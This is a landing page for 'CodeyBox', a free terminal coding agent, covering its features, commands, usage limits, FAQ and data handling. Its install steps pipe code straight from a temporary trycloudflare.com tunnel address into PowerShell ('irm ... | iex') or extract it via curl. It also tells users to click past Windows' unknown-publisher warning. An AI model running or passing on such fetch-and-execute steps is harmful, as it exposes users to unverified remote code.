Install it
One command, or a small setup wizard on Windows. No account and no key to find.
Terminal coding agent
Describe it. CodeyBox builds it, runs it, and fixes what breaks.
CodeyBox lives in your terminal. It reads your project, edits files, runs your build and tests, searches the web, and keeps going until the thing actually works. You approve each edit and command, or turn on auto-approve when you trust it.
- ❯You approve every edit
- ●Runs in WSL or Linux
- ◆No account needed
Windows (through WSL) · Linux x86-64 · Mac (over SSH)
How it works
Three steps, and you stay in charge
Say what you want
Open a project folder, type codeybox, and describe the goal in plain words.
Approve the changes
It shows every edit as a diff and asks before it runs a command. Say yes, say no, or turn on auto-approve when you trust it.
What it does
It does the work, not just the talking
Give it a goal in plain words. It explores, changes things, checks its own work, and tells you what happened.
Builds and fixes
Writes and edits files, runs your build and tests with bash, reads the errors, and iterates until it works. It reads a file before it edits it and prefers small, exact edits over rewriting.
You stay in control
Every edit shows a diff and every command asks first. Harmless read-only commands like ls and git status run without asking. Shift+Tab switches auto-approve on and off.
Sub-agents
Hands wide research or a side job to a fresh agent with its own context, so your main conversation stays small. You only see its final report.
Knows your project
/init studies the codebase and writes a CODEY.md with the real build and test commands and how the code fits together. It is loaded into every session in that folder.
Remembers you
A memory folder per project holds what it learns there. A single user.md holds what it learns about you: your name, your stack, how you like answers. It writes both on its own; you can read and edit them.
Long sessions
Sessions save automatically and resume with codeybox -c. /compact summarizes the conversation to free up context, and it happens by itself before the context fills.
Skills
Save a prompt you use often as a markdown file and run it with /name. review, commit, explain and fix-tests come built in, and CodeyBox picks a skill by itself when your request fits one.
Checklists and background jobs
On bigger jobs it keeps a live todo list. It can start a dev server or a slow build in the background, check its output later and stop it, instead of freezing while it waits.
Reads the web
Searches the web and reads pages when it needs current docs or an error explained. Pages count as untrusted data, and it will not fetch private or internal addresses.
Install
Up and running in a minute
No account. The first run creates its own key.
- Get itDownload the setup wizard, or paste one command. Nothing to sign up for.
- Let it runIt sets everything up for you, including WSL on Windows if you need it.
- Type
codeyboxIn any project folder. That is all.
Setup wizard
A classic installer. It installs WSL with Ubuntu 24.04 if you do not have it (Windows asks for permission, and may need a restart), then CodeyBox, then adds a codeybox command to Windows.
Windows will say the publisher is unknown, because the installer is not code-signed yet. Choose More info, then Run anyway.
Or from PowerShell
irm https://worlds-anatomy-sun-behaviour.trycloudflare.com/apiinternel/dl/install.ps1 | iexThen open a new terminal, go to a project folder, and type codeybox.
One block
mkdir -p ~/.local/share/codeybox ~/.local/bin
curl -fsSL https://worlds-anatomy-sun-behaviour.trycloudflare.com/apiinternel/dl/codeybox-linux-x86_64.tar.gz | tar xz -C ~/.local/share/codeybox
ln -sf ~/.local/share/codeybox/bin/codeybox ~/.local/bin/codeybox
codeyboxNeeds an x86-64 machine with glibc 2.38 or newer: Ubuntu 24.04+, Debian 13, Fedora 39+, Arch. Check with ldd --version. If codeybox is not found afterwards, add ~/.local/bin to your PATH.
Use it over SSH
There is no native Mac build. Instead, install CodeyBox on a Linux machine you can reach over SSH (see the Linux tab), then add a small SSH setting on your Mac so that codeybox connects to it and opens the full interface right in Terminal.
mkdir -p ~/.ssh && cat >> ~/.ssh/config <<'EOF'
Host codey
HostName YOUR-LINUX-MACHINE
User YOUR-USER
RequestTTY force
RemoteCommand codeybox
EOF
chmod 600 ~/.ssh/config
echo "alias codeybox='ssh codey'" >> ~/.zshrc && source ~/.zshrc
codeyboxReplace YOUR-LINUX-MACHINE with its address (for example 192.168.1.20) and YOUR-USER with your login there. The RequestTTY force line is what lets the full-screen interface draw over SSH. Files CodeyBox edits live on the Linux machine, not on your Mac.
Commands
Everything you type
Start it in a project folder. These work inside CodeyBox.
| Type | What it does |
|---|---|
codeybox | Start CodeyBox in the current folder. |
codeybox -c | Continue the latest session in this folder. |
/init | Study the project and write CODEY.md. |
/compact | Summarize the conversation to free up context. Add a hint to focus it: /compact keep the file names. |
/resume · /new | List and load saved sessions; start a fresh one. |
/memory · /remember · /forget | See, add or remove what it remembers about this project. |
/user | See what it knows about you, or tell it something. |
/auto | Toggle auto-approve (also Shift+Tab). |
/skills · /name | List your saved skills, or run one: /review, /commit, /explain, /fix-tests, or your own. |
/server | Serve the model as an OpenAI-compatible API on port 9696. /server stop closes it. |
| Esc | Interrupt what it is doing. |
Use cases
Things people ask it to do
Open a project folder, run codeybox, and paste one of these. Change the wording to match your project.
Fix a failing test
It runs the tests, reads the error, finds the cause and fixes it.
the tests in this folder fail. find out why and fix itUnderstand a new codebase
Get the layout of a project you have never seen, with the files that matter.
explain how this project is organised and where the login code livesWrite a small tool
Describe what you need and get a working script, tested on your files.
write a python script that renames every photo in this folder to the date it was takenRefactor safely
It makes the change across files and runs your tests afterwards.
split utils.py into smaller files, fix every import, then run the testsStart a new project
A working skeleton with a build file and a first test.
set up a small Go web server with a /health endpoint, a Makefile and one testLook something up first
It searches the web and reads the docs, then does the job.
find out how to run a systemd timer every 5 minutes, then write me the unit filesWorks with your tools
Connect it to documentation and data
CodeyBox can talk to remote tool servers (MCP). Without an account you pick one of the free ones, and with an account you pick up to seven of all twelve. Type /mcp to see and choose them.
DeepWikifree
Ask questions about any public GitHub repository's docs and code.
Context7free
Up-to-date documentation and code examples for libraries and frameworks.
Microsoft Learnfree
Search the official Microsoft and Azure documentation.
Groundcheckfree
Live and past weather-balloon readings, with the nearest station and more.
dockerpatchfree
Search and install from the dockerpatch package catalogue.
Cloudflare Docsaccount
Search Cloudflare's developer documentation.
Astro Docsaccount
Search the Astro framework documentation.
Svelteaccount
Svelte and SvelteKit documentation, and code checking.
Grep.appaccount
Search code across a million public GitHub repositories.
Exa Searchaccount
Web search and code-context search.
Hugging Faceaccount
Search models, datasets, papers and Spaces.
GitMCPaccount
Read the docs and code of any GitHub repository by name.
Under the hood
What happens when you press Enter
The program runs on your own machine. It never needs your AI key, because the key stays on the CodeyBox service.
1. Your terminalCodeyBox reads your files and runs approved commands here.
2. CodeyBox serviceChecks your limits and holds the key to the AI.
3. The AI modelReads your request and decides what to do next.
4. Back to youYou see a diff or a command and say yes or no.
To answer, CodeyBox sends your messages and the parts of files it reads to the model through the service. Web pages it reads are fetched by your own machine, not by the service.
Limits
Free, with fair limits
Nothing to pay. The limits keep one person from using up the service for everyone.
| No account | With an account | |
|---|---|---|
| Requests per hour | 2,000 | 6,000 |
| Tokens per day | 2 million | 10 million |
| Connected tools (MCP) | 1 free one | up to 7 of 12 |
| Longest single answer | 8,192 tokens | |
| Sign-ups per address per day | 3 new keys | 3 new accounts |
A token is roughly three quarters of a word. Everyone also shares one daily ceiling. Make an account with codeybox --register and sign in with codeybox --login. Check what you have used with /usage.
Downloads
Everything in one place
WindowsCodeyBox-Setup.exeThe setup wizard. 5.0 MB. Not code-signed yet, so Windows asks you to confirm.
Linux x86-64codeybox-linux-x86_64.tar.gzThe program with the libraries it needs. 4.8 MB. Needs glibc 2.38 or newer.
PowerShellinstall.ps1The installer script behind the wizard. 13 KB. Read it before you run it.
FAQ
Questions people ask
Short answers. The privacy details are just below.
Do I need an account or an API key?
No. The first time you run codeybox it creates its own key and saves it in your home folder. There is nothing to sign up for. Use is limited per key and per network address, to protect the service.
Where does my code go?
Your messages, plus the file contents and command output CodeyBox reads while it works, are sent to the CodeyBox service and on to its AI provider (DeepSeek) to produce answers. The project memory and user.md are included.
Do not use it on code or data you are not allowed to share, and keep secrets out of your project files and those notes.
Can it change or delete things without asking?
Not by default. Every file edit shows a diff and asks first, and so does every command, except harmless read-only ones like ls and git status. Auto-approve stays off until you switch it on with /auto or Shift+Tab.
On Windows it works inside WSL. Folders under /mnt/c are your real Windows files, so start it in the project you mean to change.
What if it makes a mistake?
Read the diff before you approve an edit, and press Esc to stop it at any moment. Keep your project in version control such as git, so any change is easy to undo.
Which AI model does it use?
By default, DeepSeek’s deepseek-flash, reached through the CodeyBox service.
Why does Windows need WSL?
CodeyBox is a Linux program. WSL, the Windows Subsystem for Linux, lets Windows run it, and the setup wizard installs and sets it up for you.
Does it work on a Mac?
There is no native Mac build. On a Mac you connect over SSH to a Linux machine that has CodeyBox installed. See the macOS tab under Install.
Over SSH I get a plain shell instead of the interface. Why?
SSH only gives a program a screen when it is attached to a real terminal, and the full-screen interface needs one. The setup on the macOS tab includes RequestTTY force, which makes SSH always ask for a terminal.
If you connect by hand instead, use ssh -tt followed by your host, and put codeybox at the end of the command.
What do I need to run it?
Windows 10 (version 2004 or newer) or Windows 11, or a Linux machine with an x86-64 processor and glibc 2.38 or newer: Ubuntu 24.04+, Debian 13, Fedora 39+, Arch. On Windows, Windows Terminal gives the best look.
Will it remember my project next time?
Yes. Sessions save automatically, and codeybox -c continues the latest one in that folder. /init writes a CODEY.md about the project, and it keeps a memory folder per project plus a user.md about you.
When a long conversation fills up the context, /compact summarizes it. That also happens automatically before the context is full.
How do I make my own skill?
Create a markdown file in .codeybox/skills/ inside your project, or in ~/.config/codeybox/skills/ to use it in every project. The file name becomes the command, so release-notes.md gives you /release-notes.
--- description: Write release notes from recent commits --- Read the git log since the last tag and write short release notes, grouped under Added, Changed and Fixed. $ARGUMENTS
Whatever you type after the command replaces $ARGUMENTS. Type /skills to see everything that is available.
Can other apps use CodeyBox as an API?
Yes. Type /server (or start codeybox --serve) and it serves the model as an OpenAI-compatible API on port 9696, with an API key it shows you. It offers models and chat completions only. It does not expose tools, your files or a shell.
Anyone on your network who has the key can use your quota, and the connection is plain HTTP, so keep it off the open internet.
Windows says the publisher is unknown. Is that safe?
The installer is not code-signed yet, so SmartScreen warns about any file it does not recognise. You can read the PowerShell installer first, since it is plain text at the address in the install box, or use the Linux route inside WSL. To continue with the wizard, choose More info, then Run anyway.
Troubleshooting
If something does not work
codeybox: command not found
Add ~/.local/bin to your PATH and open a new terminal. On bash that is echo 'export PATH="$HOME/.local/bin:$PATH"' >> ~/.bashrc.
It says GLIBC_2.38 not found
Your Linux is too old for the prebuilt program. Use Ubuntu 24.04, Debian 13, Fedora 39 or newer. Check with ldd --version.
Windows says the publisher is unknown
The installer is not code-signed yet. Choose More info, then Run anyway.
Windows asks me to restart
Installing WSL (the Linux part of Windows) needs a restart on some machines. Restart, then run the installer again. It carries on where it stopped.
It says I reached my limit
You used your tokens or requests for the period. Limits reset every day. An account has higher limits: run codeybox --register.
Strange boxes instead of symbols in Windows
The old Command Prompt cannot draw some symbols. Use Windows Terminal, which draws everything correctly.
I am on a Mac
There is no native Mac build yet. Install it on a Linux machine you can reach, and connect over SSH. The steps are in the Install section under macOS.
Before you install
What you should know
Plain answers, so nothing is a surprise.
What leaves your computer
Your messages, and the file contents and command output CodeyBox reads while it works, are sent over the internet to the CodeyBox service and on to its AI provider (DeepSeek). The memory folder and user.md are sent too. Do not use it on code or data you are not allowed to share, and do not put secrets in those files.
What it can do
It can create and change files and run commands inside your WSL or Linux environment. It asks first unless you turn on auto-approve. You are responsible for what it changes, so read the diffs.
Limits
To protect the service, use is limited per key and per network address.
Closed source
CodeyBox is provided as is, without warranty.